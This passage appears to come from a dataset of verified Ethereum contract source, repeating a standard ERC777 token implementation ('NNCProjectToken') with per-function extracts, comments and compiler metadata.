_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev See {IERC777-name}.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
2301,
2389
]
} | 59,930 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | symbol | function symbol() public view returns (string memory) {
return _symbol;
}
| /**
* @dev See {IERC777-symbol}.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
2445,
2537
]
} | 59,931 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | decimals | function decimals() public pure returns (uint8) {
return 18;
}
| /**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
2732,
2813
]
} | 59,932 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
